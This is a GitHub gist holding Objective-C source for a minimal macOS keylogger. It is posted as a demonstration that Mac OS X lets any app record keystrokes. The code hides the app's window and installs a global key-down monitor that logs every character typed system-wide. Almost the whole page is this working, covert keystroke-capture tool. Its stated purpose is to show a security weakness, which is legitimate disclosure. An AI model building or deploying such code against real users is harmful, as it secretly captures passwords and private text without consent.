Skip to content

Instantly share code, notes, and snippets.

@ifesdjeen
Last active December 16, 2015 06:29
Show Gist options
  • Save ifesdjeen/5391650 to your computer and use it in GitHub Desktop.
Save ifesdjeen/5391650 to your computer and use it in GitHub Desktop.
How secure is your operating system? On Mac Os X all your keystrokes can be logged with a utility written by Objective C first-timer without any concerns.
#import <Cocoa/Cocoa.h>
static id monitorKeyDown;
@interface AppDelegate : NSObject <NSApplicationDelegate>
@property (assign) IBOutlet NSWindow *window;
@end
#import "AppDelegate.h"
@implementation AppDelegate
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
[self.window setIsVisible:NO];
monitorKeyDown = [NSEvent addGlobalMonitorForEventsMatchingMask:NSKeyDownMask handler:^(NSEvent *event) {
NSLog([NSString stringWithFormat:@"Key down: %@ (key code %d)", [event characters], [event keyCode]]);
}];
}
@end
#import <Cocoa/Cocoa.h>
int main(int argc, char *argv[])
{
return NSApplicationMain(argc, (const char **)argv);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment